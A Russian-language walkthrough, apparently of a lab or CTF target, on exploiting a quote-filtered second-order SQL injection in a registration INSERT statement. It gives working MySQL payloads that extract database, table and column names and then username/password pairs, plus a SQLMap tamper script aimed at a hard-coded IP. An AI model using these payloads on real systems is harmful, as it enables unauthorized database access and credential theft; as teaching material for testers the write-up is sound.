INSERT statement second order SQL injection without quotes

INSERT statement second order SQL injection without quotes

@cherepawwka

Всем привет!

Представьте, что вы встретили форму авторизации с возможностью регистрации и чувствуете, что она уязвима. Что первое приходит в голову, когда речь заходит о такой форме? Я думаю, что ответ у всех будет почти един: SQL Injection.

Мы привыкли, что, если форма уязвима, достаточно вставить обычную кавычку, и сервер вернёт нам 500 ошибку, что будет хорошим признаком существования уязвимости. Но что делать в том случае, когда кавычки не помогают?

Сегодня мы разберем интересный случай, когда SQL Injection существует в форме регистрации, а результат нашей инъекции мы можем увидеть лишь после успешной авторизации, когда информация о нашем профиле возвращается из базы данных. Такие SQL-инъекции называются second order (второго порядка).

SQL Injection

Приступим!


Поиск уязвимости

Изучим уязвимое приложение. Первым делом нас встречает окно авторизации:

Форма авторизации

Если мы попробуем обойти авторизацию при помощи стандартных способов, перечисленных здесь, то обнаружим, что сама форма неуязвима.

Фаззинг формы на наличие SQLi

На этой же странице мы видим ссылку на страницу регистрации, изучим её:

Форма регистрации

Заполним её тестовыми данными и попробуем осуществить регистрацию, перехватив запрос в Burp Suite:

Запрос на регистрацию

Как мы видим, приложение не выдало никакой ошибки, и после авторизации нам успешно отображается информация о только что созданном пользователе:

Профиль зарегистрированного пользователя

Раз страница авторизации, как мы выяснили ранее, неуязвима, единственной точкой нашего внедрения может быть форма регистрации, и, следовательно, наша SQL-инъекция существует в операторе INSERT (Insert Statement). Пример такой уязвимости можно рассмотреть на PortSwigger.

Давайте пофантазируем, как выглядит наш SQL-запрос для регистрации в приложении. Я вижу его примерно так:

INSERT INTO accounts (username, password, email, profession) VALUES ('123', '123', '123', '123');

Если приложение уязвимо, то нам нужно попробовать нарушить корректный SQL-запрос, используемый для регистрации юзера, внедрив в него полезную нагрузку для извлечения информации со страницы. Для распознавания наличия SQL-инъекции мы можем попробовать использовать один из специальных символов '"#);\, которые могут быть неверно интерпретированы в SQL-выражении. Давайте подготовим Intruder для атаки (в данном случае подойдет Battering ram, так как он подставит полезную нагрузку сразу во все помеченные позиции):

Конфигурация Intruder для поиска уязвимости

Ниже приведён скриншот используемых полезных нагрузок:

Используемые в Intruder нагрузки

Запускаем атаку и изучаем результат:

Результаты успешного фаззинга

Нас привлекают сразу 2 ответа.

При использовании двойной кавычки сразу после одинарной мы получаем ответ 200. Сервер сообщил нам, что пользователь с таким именем уже существует, что может говорить о том, что кавычки (', ") вырезаются из SQL-запроса:

Попытка регистрации уже существующего пользователя

Но также мы видим и ошибку 500, которая представляет для нас особый интерес. Она говорит о том, что мы успешно нарушили SQL-запрос, буквально сломали его, путем внедрения символа \ (этим знаком обычно экранируются специальные символы):

Внутренняя ошибка сервера

Давайте разберёмся, как это использовать для достижения конечной цели — извлечения информации из таблиц.


Верификация уязвимости

Как я говорил ранее, SQL-запрос для добавления пользователя выглядит примерно так:

INSERT INTO accounts (username, password, email, profession) VALUES ('123', '123', '123', '123');

Поля username и password для инъекции не подойдут, так как для отображения результата нам необходимо успешно авторизоваться, и инъекция в имя пользователя или его пароль может привести к непредсказуемому результату и, как следствие, невозможности авторизоваться.

Самым подходящим полем в нашем случае остаётся email, в который мы будем инжектить символ \. Посмотрим, как будет выглядеть наш запрос в таком случае:

INSERT INTO accounts (username, password, email, profession) VALUES ('123', '123', '\', '123');

В этом случае кавычка после символа \ будет интерпретирована как часть строки email (значение email, помещенное в БД, будет ',, а цифры 123 будут распознаны не как значение поля profession, а как часть структуры SQL-запроса).

Следовательно, для грамотной инъекции нам нужно поместить в поле email значение \, а в поле profession — нашу полезную нагрузку на языке SQL.

Может звучать сложно, но я постараюсь объяснить подробнее:

SQL-запрос в зависимости от введённых данных

Полезная нагрузка в параметре profession выглядит так: ,+version())%3b--+-

Если раздекодить её из URL, то получим , version());-- -

Как можно увидеть, мы ставим запятую в начале, чтобы не сломать синтаксис INSERT INTO. В конце мы ставим );, чтобы закрыть конструкцию INSERT INTO. Далее у нас идёт последовательность -- -, которая представляет собой комментарий, чтобы отбросить "лишнюю" часть оригинального запроса, который мы подменили в нашей полезной нагрузке.

Ниже я приложил скриншот Burp Suite с запросом на регистрацию, в ответ на который сервер вернул 302. Это значит, что наши предположения были верны, и нагрузка успешно сработала!

Успешная регистрация пользователя с полезной нагрузкой в поле profession

Давайте автризуемся в приложении и посмотрим на результат:

Успешная SQL-инъекция

Успех!


Эксфильтрация данных из таблицы

Мы поняли анатомию приложения и успешно проэксплуатировали SQL-инъекцию, узнав версию СУБД (в нашем случае это MySQL).

Для дальнейшей эксплуатации я буду использовать стандартные нагрузки для этой СУБД, чтобы извлекать данные из таблиц. На их составлении я останавливаться не буду, в канале немало материала, где я подробно расписывал шаги по извлечению данных из БД через инъекцию, например, тут:

Revenge

Или тут:

The Marketplace

Первым делом получаем список баз данных в СУБД:

username=test1&password=test1&email=%5c&profession=, (Select gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata));-- -
Нагрузка для извлечения имён БД

Результат:

Извлеченные БД
|information_schema|,|performance_schema|,|portfolio_db|

information_schema и performance_schema — это служебные БД, существующие по умолчанию. А вот portfolio_db — та БД, которая нас интересует.

Получаем список таблиц из БД:

username=test2&password=test2&email=%5c&profession=, (Select gRoUp_cOncaT(0x7c,table_name,0x7c)+fRoM+information_schema.tables+wHeRe+table_schema=database()));-- -
Нагрузка для извлечения имён таблиц

Результат:

Извлеченное имя таблицы

Мы находимся уже в БД portfolio_db и работаем с единственной таблицей contractors, следовательно, извлекать данные мы будем из неё.

Получаем список полей в таблице:

username=test3&password=test3&email=%5c&profession=, (Select gRoUp_cOncaT(0x7c,column_name,0x7c)+fRoM+information_schema.columns+wHeRe+table_name=0x636f6e74726163746f7273));-- -

Поскольку мы не можем использовать кавычки в запросе (ранее мы выяснили, что они вырезаются), но они в этом запросе нужны для указания имён таблиц и полей, придётся воспользоваться хитростью и указать имя таблицы через HEX:

Имя таблицы, переведённое из HEX

Запрос:

Полезная нагрузка для извлечения имён столбцов

Результат:

Извлеченные имена колонок
|email|,|id|,|password|,|profession|,|username|

Теперь мы знаем всю структуру таблицы, и нам остаётся лишь вытащить из неё данные. Запрос выглядит следующим образом:

username=exfil&password=exfil&email=%5c&profession=, (Select group_concat(0x7c,username,0x7c,password,0x7c,email,0x7c,profession,0x7c,0x0a) fRoM portfolio_db.contractors));-- -

Но тут мы столкнемся с ошибкой:

Ошибка сервера при эксфильтрации данных

Давайте попытаемся понять, что же произошло.

Если бы мы осуществили аналогичный запрос в самой СУБД, то получили бы ошибку 1093, которая сообщила нам, что таблица contractors определена дважды: в качестве целевого объекта для вставки и в качестве источника данных.

Чуть подробнее об ошибке и о решении этой ошибки написано тут.

В MySQL нельзя изменять данные и одновременно делать выборку из той же таблицы в подзапросе. Универсальный способ, рекомендуемый в документации, — использовать вложенный подзапрос. В этом случае подзапрос к изменяемой таблице оказывается в части FROM и материализуется во временную таблицу в начале выполнения запроса. Таким образом, при обновлении чтение данных будет идти из временной таблицы, а не из той, которая обновляется.

Воспользуемся вариантом, упомянутым в статье, и составим следующий запрос:

username=exfil&password=exfil&email=%5c&profession=, (Select group_concat(0x7c,username,0x7c,password,0x7c,email,0x7c,profession,0x7c,0x0a) fRoM (Select table_name fRoM information_schema.tables where table_schema=database()) AS t1));-- -
Успешно подобранная полезная нагрузка

Или, если чуть проще, то тело POST-запроса может выглядеть следующим образом (просто добавляем Alias):

username=exfil&password=exfil&email=%5c&profession=, (Select group_concat(0x7c,username,0x7c,password,0x7c,email,0x7c,profession,0x7c,0x0a) fRoM portfolio_db.contractors AS exfiltration));-- -
Извлечение записей из таблицы с использованием Alias

Результат:

Полученные пары login+pass

Таким образом, мы получили содержимое БД через инъекцию, которая была не слишком очевидна на первом этапе. Навык эксплуатации таких уязвимостей может быть полезен и на реальных проектах, а особую ценность этому навыку даёт то, что SQLMap в базовой своей конфигурации такую инъекцию не эксплуатирует. Кстати о SQLMap...


Extra. Написание tamper для SQLMap (спойлер: неудачно)

Мне стало интересно автоматизировать процесс эксплуатации этой уязвимости, но SQLMap не помечает параметр инжектируемым.

Я набросал следующий тампер по советам с HackTricks и документации инструмента:

#!/usr/bin/env python

import re
import requests
import random
import string
from lib.core.enums import PRIORITY

priority = PRIORITY.LOW

def dependencies():
  pass

def login_account(payload):
  proxies = {'http':'http://127.0.0.1:8080'}
  username = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

  register_params = {"username":username, "password":username, "email":"\\", "profession":payload}
  url = "http://62.173.140.174:16022/register.php"
  pr = requests.post(url, data=register_params, verify=False, allow_redirects=True, proxies=proxies)

  login_params = {"username":username, "password":username, "email":"\\", "profession":payload}
  url = "http://62.173.140.174:16022/login.php"
  pr = requests.post(url, data=login_params, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
  headers = kwargs.get("headers", {})
  login_account(payload)
  return payload 

Я бы с удовольствием поделился с вами результатами его работы, но эта инъекция оказалась ему непосильна. Даже при условии, что он находит "стабильные" нагрузки, отдающие 200, а не 500, полностью раскрутить инъекцию ему не удаётся, и параметр остаётся всё так же неинжектируемым.

P.s. если у вас вдруг получится довести тампер до ума, то, пожалуйста, поделитесь вашим решением!

Алиса и киса


Report Page